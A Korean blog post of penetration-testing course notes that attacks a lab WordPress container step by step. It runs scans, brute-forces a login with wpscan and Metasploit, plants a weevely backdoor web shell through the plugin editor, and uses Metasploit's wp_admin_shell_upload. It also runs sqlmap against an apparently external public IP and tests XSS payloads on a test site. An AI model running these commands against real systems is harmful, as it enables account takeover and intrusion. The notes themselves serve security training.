- Docker 환경 취약점 분석
- vmware을 이용하여 ova 이미지 불러오기
※ NAT로 변경 , Memory 4GB로 변경
$ ping docker IP (192.168.5.128)
- 칼리 vm을 열어 docker로 ping 보내기
$ sudo nmap 192.168.5.0/24
$ sudo nmap -sV 192.168.5.128 -p-
※ -sV : 서버나 데몬의 버전 출력
※ -p- : 모든 포트 점검 (지정 안 할 시 정해진 포트만 점검)
$ sudo nmap -sV 192.168.5.128 -oX result.xml
※ -oX : 결과 값 xml 파일로 저장
$ sudo nmap -sC 192.168.5.128 -p-
※ -sC : 기본 스크립트로 대상 스캔
$ sudo nmap -sV -sC 192.168.5.128 -p-
$ cd /usr/share/nmap/scripts
$ ls
$ sudo nmap -sV --script=http-enum 192.168.5.128 -p8000-
$ sudo nikto -h http://192.168.5.128:8000
※ nikto : 오래된 서버 소프트웨어 및 기타 문제 검색하는 무료 소프트웨어 명령줄 취약점 스캐너
- browsers에서 192.168.5.128:8000/robots.txt
※ robots.txt : 웹사이트에 웹 크롤러같은 로봇들의 접근을 제어하기 위한 규약
- browsers에서 192.168.5.128:8000/license.txt
- 설치되어 있는 wordpress 확인
$ sudo dirb http://192.168.5.128:8000/
- dirb : 기본적으로 웹서버에 대한 사전 기반 공격을 시도하여 응답을 분석하는 방식으로 작동
$ locate wordlist
- locate 명령어로 wordlist을 무식하게 보여줌
$ sudo wpscan --url http://192.168.5.128:8000/
※ wpscan : 워드프레스 취약점 DB를 API를 받아와 wordpress 사이트를 스캐닝하며 점검
$ sudo wpscan --url http://192.168.5.128:8000/ --enumerate p
$ sudo wpscan --url http://192.168.5.128:8000/ --enumerate u
- u : 사용자 정보 확인 → bob
- bob에 있는 url로 접속
$ sudo git clone https://github.com/danielmiessler/SecLists.git
$ cd SecLists
$ ls
$ cd Passwords
$ ls
$ cd Common-Credentials
$ ls
$ sudo wpscan --url http://192.168.5.128:8000/ --usernames bob --passwords /home/kali/SecLists/Passwords/Common-Credential/10-million-password-list-top-10000.txt
- 패스워드 확인 가능
$ sudo msfconsole
- metasploit 사용
msf6 > search xmlrpc
- xmlrpc 검색하여 9번에 접속
msf6 > use 9
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > show options
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set RHOST 192.168.5.128
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set RPORT 8000
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set USERNAME bob
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set PASS_FILE /경로
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set THREADS 10
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > set STOP_ON_SUCCESS ture
msf6 auxiliary(scanner/http/wordpress_xmlrpc_login) > exploit
- 워드프레스 취약점
- 플러그인 취약점이 제일 많음
- 플러그인 취약점이 외부에서 공격할 수 있다면 Web을 통해 공격
- 관리자 권한 획득 후 공격 가능한 것 검색 필요
- backdoor webshell 생성
sudo weevely generate hacker shell.php
$ cat shell.php // 난독화되어있는 악성코드 확인 가능
※ 'Nm'이 되어있는 것 빼면 문자가 보임
$ cd /usr/share/webshells.php
$ ls
$ cat simple-backdoor.php
virustotal에 php
- http://192.168.5.128:8000/wp-admin/plugins.php에서 Plugin의 Hello Dolly Edit 클릭
- 내용 작성하고 Update File
$ weevely http://192.168.5.128:8000/wp-content/plugins/hello.php hacker
- weevely에 접속
※ hacker는 pwd
weevely > uname -a // Linux 접속
$ cd /proc
$ ls -al
※ 디렉터리 안의 권한 확인
$ cat cgroup
※ cgroup : 프로세스들의 자원의 사용을 제한하고 격리시키는 리눅스 커널 기능
https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap
GitHub - andrew-d/static-binaries: Various *nix tools built as statically-linked binaries
Various *nix tools built as statically-linked binaries - GitHub - andrew-d/static-binaries: Various *nix tools built as statically-linked binaries
github.com
- View raw를 클릭하여 Save File 하기
$ file_upload /home/kali/Download/nmap /tmp/nmap
$ ls
※ 삭제 명령어 rm -rf nmap
weevely > chmod +x nmap
※ chmod : 파일 권한 변경
※ ifconfig 사용 가능하게 하기

$ file_upload /usr/sbin/ifconfig /tmp/ifconfig
$ chmod +x ifconfig
$ ./ifconfig
※ netstat 사용 가능하게 하기

$ file_upload /usr/sbin/netstat /tmp/netstat
$ chmod +x netstat
$ ./netstat
$ sudo msfconsole // msf 접속
msf6 > search wp_admin // 페이로드에 접속
msf6 exploit(unix/webapp/wp_admin_shell_upload) > show options // options 보기
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RHOSTS 'docker IP'
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set RPORT 'port'
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set USERNAME 'name'
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set PASSWORD 'pw'
msf6 exploit(unix/webapp/wp_admin_shell_upload) > exploit
$ sudo service apache2 start
$ sudo nikto -h http://localhost/
- apache2 start 후, nikto로 localhost 스캔
$ sudo su - // root 권한
# ls
# tail access.log | more
※ tail : 파일의 마지막 행을 기준으로 지정한 행까지의 파일 내용 일부를 출력해주는 명령어
# nmap -sC localhost
- port를 대상으로 분석
# tail access.log | more
- nmap 스캔하면 Nmap Scripting Engine; 이 뜨는 걸 확인 가능 // nmap 실행하여 생긴 로그
$ sudo sqlmap -u "http://175.198.224.248:8888/gm/goods_detail.php?goodsIdx=224" --dbs -v 3
※ -v : 자세히 보기
- PAYLOAD 공격 코드
https://www.arachni-scanner.com/download/
Download
Arachni is licensed under the Arachni Public Source License v1.0, requiring a non-free license for cases of commercialization. Please review the license before downloading. Current version: v1.6.1.…
www.arachni-scanner.com
- MS Windows x86 64bit 클릭
- download
- C:\Users\user\Downloads\arachni-1.6.1.3-0.6.1.1-windows-x86_64\bin 경로의 arachni_web 클릭
- arachni_web 실행
- web 실행 시 "127.0.0.1:9292/d/users/sign_in" url 접속됨을 확인 가능
- README 메모장을 열면 Email/PW 확인 가능
- Email / PW 입력 후 Sign in
- 사진과 같이 http://testphp.vumnweb.com/ 입력 후 Go! 클릭
※ chrome 16.v로 변경

- chrome 16.v 선택하여 다운로드

- 다운 후 C:\Users\user\Downloads\arachni-1.6.1.3-0.6.1.1-windows-x86_64\chromedriver 경로에 덮어쓰기
- Cross-Site Scripting(XSS)
- http://testphp.vulnweb.com/search.php (searchFor)
- searchFor 명령 삽입 (1<xss_48d69d00e4391da9ba48babd32581a79/>)
- 1이 출력된 걸 확인 가능
- gusetbook 클릭
- <script>alert(1);</script>111 입력 후 add message 클릭
- 1이 출력된 걸 확인 가능
'SK shieldus Rookies 9기 > 클라우드 기반 취약점 진단 및 대응 실무' 카테고리의 다른 글
취약점 진단 및 대응 실무 4일차 (22/10/20) (1) | 2022.10.20 |
---|